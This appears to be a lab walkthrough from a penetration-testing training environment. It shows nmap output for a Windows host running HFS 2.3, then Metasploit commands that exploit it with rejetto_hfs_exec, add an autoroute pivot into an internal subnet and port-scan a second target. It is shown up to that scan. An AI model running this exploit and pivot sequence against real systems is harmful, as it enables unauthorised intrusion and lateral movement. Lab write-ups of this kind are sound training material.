In this lab environment, you will be provided with GUI access to a Kali machine. The target machines will be accessible at demo1.ine.local and demo2.ine.local.
Objective: Exploit vulnerabilities in the target machines to gain access and retrieve a flag.
Tools
The best tools for this lab are:
Nmap
searchsploit
msfconsole
Writeup
nmap -sSVC demo1.ine.local
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2025-06-11T09:04:12+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: WIN-OMCNBKR66MN
| NetBIOS_Domain_Name: WIN-OMCNBKR66MN
| NetBIOS_Computer_Name: WIN-OMCNBKR66MN
| DNS_Domain_Name: WIN-OMCNBKR66MN
| DNS_Computer_Name: WIN-OMCNBKR66MN
| Product_Version: 6.3.9600
|_ System_Time: 2025-06-11T09:04:05+00:00
| ssl-cert: Subject: commonName=WIN-OMCNBKR66MN
| Not valid before: 2025-06-10T09:01:14
|_Not valid after: 2025-12-10T09:01:14
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-06-11T09:04:09
|_ start_date: 2025-06-11T09:01:10
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
msfconsole
use exploit/windows/http/rejetto_hfs_exec
set rhosts demo1.ine.local
run
ipconfig
run autoroute -s 10.2.20.0/20
background
use auxiliary/scanner/portscan/tcp
set rhosts demo2.ine.local
run